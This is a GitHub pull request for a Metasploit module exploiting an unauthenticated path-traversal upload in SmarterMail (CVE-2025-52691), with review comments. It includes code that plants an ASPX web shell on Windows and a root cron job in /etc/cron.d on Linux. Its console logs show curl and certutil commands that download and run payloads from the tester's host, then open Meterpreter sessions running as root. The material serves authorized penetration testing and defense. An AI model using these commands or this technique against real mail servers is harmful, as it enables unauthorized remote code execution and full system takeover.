Skip to content

Conversation

@jheysel-r7
Copy link
Contributor

@jheysel-r7 jheysel-r7 commented Jan 14, 2026

This module exploits a pre-auth file upload vulnerability in SmarterTools SmarterMail before version 100.0.9413. The endpoint /api/upload fails to sanitize the contextData POST parameter which can contain JSON data with a "guid" key that allows directory traversal. By leveraging this vulnerability, an unauthenticated attacker can upload a files to gain RCE.

On Windows the module drops an .aspx payload in a user specified directory which defaults to the webroot and executes it. Note by default IIS hosts the application on a different port than what it hosts the webroot on, so the module defines RPORT and WEB_ROOT_RPORT to account for this.

On Linux the module drops a payload in a user specified directory which defaults to /tmp. The module then drops a cron job which executes once a minute in order to execute the payload.

The application is powered by .NET and it seems .aspx files are not supported by the Linux implementation of .NET so it was decided to exploit Linux targets via cron.d

Verification

  1. Start msfconsole
  2. use modules/exploits/multi/http/smarter_mail_guid_file_upload.
  3. set RHOSTS [IP]
  4. set LHOST [IP]
  5. (Optional) set TARGET [0-1] (0 for Linux, 1 for Windows)
  6. (Optional) set WEB_ROOT_RPORT [PORT] (default: 80 for Windows)
  7. (Optional) set TARGET_DIR [PATH] (default: /tmp for Linux, /inetpub/wwwroot for Windows)
  8. run

Testing

Ubuntu 22.04 with SmarterMail 100.0.9406

msf exploit(multi/http/smartermail_guid_file_upload) > set rhosts 192.168.1.90
rhosts => 192.168.1.90
msf exploit(multi/http/smartermail_guid_file_upload) > set lhost 192.168.1.68
lhost => 192.168.1.68
msf exploit(multi/http/smartermail_guid_file_upload) > exploit
[*] Started reverse TCP handler on 192.168.1.68:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking target web server for a response...
[+] Target is running SmarterMail.
[*] Checking SmarterMail product version...
[+] Target is running SmarterMail Version 100.0.9406.
[+] The target appears to be vulnerable.
[*] Uploading payload to /tmp...
[+] The uploaded payload file is named: ntww_0
[*] Uploading cronjob to call payload...
[+] The uploaded payload file is named: bteqkp_0
[*] Sending stage (3090404 bytes) to 192.168.1.90
[+] Deleted /tmp/ntww_0
[+] Deleted /etc/cron.d/bteqkp_0
[*] Meterpreter session 7 opened (192.168.1.68:4444 -> 192.168.1.90:41170) at 2026-01-13 17:16:01 -0800

meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer     : 192.168.1.90
OS           : Ubuntu 22.04 (Linux 6.8.0-90-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter >

@jheysel-r7 jheysel-r7 added module docs rn-modules release notes for new or majorly enhanced modules labels Jan 14, 2026
@msutovsky-r7 msutovsky-r7 self-assigned this Jan 14, 2026
#{process_start_info}.Arguments = "/c "+ @"#{payload.encoded}";
#{process_start_info}.RedirectStandardOutput = true;
#{process_start_info}.UseShellExecute = false;
Process #{process} = Process.Start(#{process_start_info});
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Arbitrary thought: Do we need/want to fork this

Copy link
Contributor Author

@jheysel-r7 jheysel-r7 Jan 15, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I think this should be sufficient as Process.Start creates a new process that should be asynchronous.
https://learn.microsoft.com/en-us/dotnet/api/system.diagnostics.process.start?view=net-10.0

Copy link
Contributor

@msutovsky-r7 msutovsky-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Linux

msf exploit(multi/http/smartermail_guid_file_upload) > run verbose=true 
[*] Command to run on remote host: curl -so ./XxEngSaVTpo http://192.168.3.7:8081/EO6WzfXF6CGyqdBiy1rT5w;chmod +x ./XxEngSaVTpo;./XxEngSaVTpo&
[*] Fetch handler listening on 192.168.3.7:8081
[*] HTTP server started
[*] Adding resource /EO6WzfXF6CGyqdBiy1rT5w
[*] Started reverse TCP handler on 192.168.3.7:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking target web server for a response...
[+] Target is running SmarterMail.
[*] Checking SmarterMail product version...
[+] Target is running SmarterMail Version 100.0.9406.
[+] The target appears to be vulnerable.
[*] Uploading payload to /tmp...
[+] The uploaded payload file is named: qwbt_0
[*] Uploading cronjob to call payload...
[+] The uploaded payload file is named: ibjoexwiiv_0
[*] Client 10.5.134.162 requested /EO6WzfXF6CGyqdBiy1rT5w
[*] Sending payload to 10.5.134.162 (curl/7.81.0)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3090404 bytes) to 10.5.134.162
[+] Deleted /tmp/qwbt_0
[+] Deleted /etc/cron.d/ibjoexwiiv_0
[*] Meterpreter session 1 opened (192.168.3.7:4444 -> 10.5.134.162:41690) at 2026-01-20 17:30:07 +0100

meterpreter > sysinfo
Computer     : 10.5.134.162
OS           : Ubuntu 22.04 (Linux 6.8.0-1031-azure)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux

Windows

msf exploit(multi/http/smartermail_guid_file_upload) > run verbose=true 
[*] Command to run on remote host: certutil -urlcache -f http://192.168.3.7:8081/VcsolVic3LF3LhnmJIdOHw %TEMP%\CKygugFX.exe & start /B %TEMP%\CKygugFX.exe
[*] Fetch handler listening on 192.168.3.7:8081
[*] HTTP server started
[*] Adding resource /VcsolVic3LF3LhnmJIdOHw
[*] Started reverse TCP handler on 192.168.3.7:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking target web server for a response...
[+] Target is running SmarterMail.
[*] Checking SmarterMail product version...
[+] Target is running SmarterMail Version 100.0.9406.
[+] The target appears to be vulnerable.
[*] Uploading payload to /inetpub/wwwroot...
[+] The uploaded payload file is named: grural_0.aspx
[*] Client 10.5.134.159 requested /VcsolVic3LF3LhnmJIdOHw
[*] Sending payload to 10.5.134.159 (Microsoft-CryptoAPI/10.0)
[*] Client 10.5.134.159 requested /VcsolVic3LF3LhnmJIdOHw
[*] Sending payload to 10.5.134.159 (CertUtil URL Agent)
[*] Meterpreter session 2 opened (192.168.3.7:4444 -> 10.5.134.159:54929) at 2026-01-20 17:32:35 +0100
[!] This exploit may require manual cleanup of '/inetpub/wwwroot/grural_0.aspx' on the target

meterpreter > sysinfo
Computer        : WIN2022__620D
OS              : Windows Server 2022 (10.0 Build 20348).
Architecture    : x64
System Language : en_US
Domain          : MSF
Logged On Users : 14
Meterpreter     : x64/windows

return CheckCode::Unknown('Target did not respond to check request.')
end

unless res.code == 200 && body.downcase.include?('smartermail')
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

It would be nice to tighten a bit this check.

print_good('Target is running SmarterMail.')

print_status('Checking SmarterMail product version...')
product_version = body.match('stProductVersion.*')
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Can you tighten the regex? Because I think that currently, it'll return everything present after the stProductVersion string.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

That's the intention. The original author decided to match the entire line, seen below, and then split the string on quotes.

	var stProductVersion = "100.0.9406";

@@ -0,0 +1,48 @@
# -*- coding: binary -*-
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Why is this not in modules/exploits/multi/http/smartermail_guid_file_upload.rb? Are there other vulnerabilities/exploit for smartermail that are/will land in metasploit?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This was taken from a previous SmarterMail exploit from a 2019 CVE. Instead of copying the code into another module I moved it to a library so I can be reused. This check worked on smarter mail 7 years ago, there have since been major version increments and because this same check works on the current SmarterMail implementation I'm hesitant to make any changes.

Comment on lines +44 to +46
'DefaultOptions' => {
'WfsDelay' => 70
}
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Why a delay on the Unix command but not on the Windows one?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The Unix command uploads a cron job that gets run once a minute, whereas the Windows payload uploads a .aspx file that gets executed by requesting the uploaded file.

[
OptString.new('TARGETURI', [true, 'The path of a backdoor shell', '']),
OptInt.new('DEPTH', [true, 'Traversal Depth', 15]),
OptInt.new('WEB_ROOT_RPORT', [true, 'The port in which the webroot is served on. Note on Windows this is different from the modules\'s RPORT', 80], conditions: %w[TARGET == 1]),
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
OptInt.new('WEB_ROOT_RPORT', [true, 'The port in which the webroot is served on. Note on Windows this is different from the modules\'s RPORT', 80], conditions: %w[TARGET == 1]),
OptInt.new('WEB_ROOT_RPORT', [true, 'The port in which the webroot is served on. Note on Windows this is different from the modules\'s RPORT', 9998], conditions: %w[TARGET == 1]),

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This is the port that IIS servers it's webroot on which in the default case is port 80.

Comment on lines +144 to +156
target_dir = datastore['TARGET_DIR'].blank? ? '/tmp' : datastore['TARGET_DIR']
print_status("Uploading payload to #{target_dir}...")
uploaded_filename = upload_payload(target_dir, payload_name, payload.encoded)
register_file_for_cleanup("#{target_dir}/#{uploaded_filename}")

payload_path = "#{target_dir}/#{uploaded_filename}"
cron_command = "chmod +x #{payload_path} && #{payload_path}&"
cron_contents = "* * * * * root /bin/bash -c '#{cron_command}'\n"
cron_filename = Rex::Text.rand_text_alpha(8..12)
cron_target_dir = '/etc/cron.d'
print_status('Uploading cronjob to call payload...')
uploaded_cron_filename = upload_payload(cron_target_dir, cron_filename, cron_contents)
register_file_for_cleanup("#{cron_target_dir}/#{uploaded_cron_filename}")
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

What's wrong with uploading a webshell like on the windows version?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The application is powered by .NET and it seems .aspx files are not supported by the Linux implementation of .NET so it was decided to exploit Linux targets via cron.d

Copy link
Contributor

@msutovsky-r7 msutovsky-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

msf exploit(multi/http/smartermail_guid_file_upload) > run verbose=true 
[*] Command to run on remote host: curl -so ./NTBVhBAcn http://192.168.3.7:8081/EO6WzfXF6CGyqdBiy1rT5w;chmod +x ./NTBVhBAcn;./NTBVhBAcn&
[*] Fetch handler listening on 192.168.3.7:8081
[*] HTTP server started
[*] Adding resource /EO6WzfXF6CGyqdBiy1rT5w
[*] Started reverse TCP handler on 192.168.3.7:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking target web server for a response...
[+] Target is running SmarterMail.
[*] Checking SmarterMail product version...
[+] Target is running SmarterMail Version 100.0.9406.
[+] The target appears to be vulnerable. SmarterMail version is vulnerable.
[*] Uploading payload to /tmp...
[+] The uploaded payload file is named: mjnhy_0
[*] Uploading cronjob to call payload...
[+] The uploaded payload file is named: pdrpxthhdxlg_0
[*] Client 10.5.132.163 requested /EO6WzfXF6CGyqdBiy1rT5w
[*] Sending payload to 10.5.132.163 (curl/7.81.0)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3090404 bytes) to 10.5.132.163
[+] Deleted /tmp/mjnhy_0
[+] Deleted /etc/cron.d/pdrpxthhdxlg_0
[*] Meterpreter session 1 opened (192.168.3.7:4444 -> 10.5.132.163:44658) at 2026-01-22 14:18:07 +0100

meterpreter > sysinfo
Computer     : 10.5.132.163
OS           : Ubuntu 22.04 (Linux 6.8.0-1044-azure)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux

@msutovsky-r7 msutovsky-r7 force-pushed the mod/smarter_mail_cve_2025_52691 branch from 15dd410 to 34cebd1 Compare January 22, 2026 14:03
@msutovsky-r7 msutovsky-r7 merged commit b1b4020 into rapid7:master Jan 22, 2026
48 checks passed
@msutovsky-r7
Copy link
Contributor

Release Notes

This adds a module for unauthenticated file upload in SmarterTools SmaterMail (CVE-2025-52691). The vulnerability allows an unauthenticated user to upload a file to any location on the system using path traversal using the guid variable. The module will either drop a webshell in the webroot directory (if the target is Windows) or create a cron job by dropping a file in /etc/cron.d (if the target is Linux).

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

docs module rn-modules release notes for new or majorly enhanced modules

Projects

None yet

Development

Successfully merging this pull request may close these issues.

4 participants